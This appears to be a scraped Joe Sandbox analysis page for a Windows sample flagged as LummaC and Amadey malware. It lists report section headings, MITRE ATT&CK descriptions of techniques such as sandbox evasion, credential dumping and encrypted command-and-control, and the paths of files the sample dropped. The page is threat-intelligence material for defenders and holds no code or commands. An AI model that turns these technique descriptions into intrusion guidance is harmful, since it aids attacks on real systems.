Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Netstat\FuturreApp.exe

C:\Users\Public\Netstat\HTCTL32.DLL

C:\Users\Public\Netstat\NSM.LIC

C:\Users\Public\Netstat\PCICHEK.DLL

C:\Users\Public\Netstat\PCICL32.DLL

C:\Users\Public\Netstat\TCCTL32.DLL

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre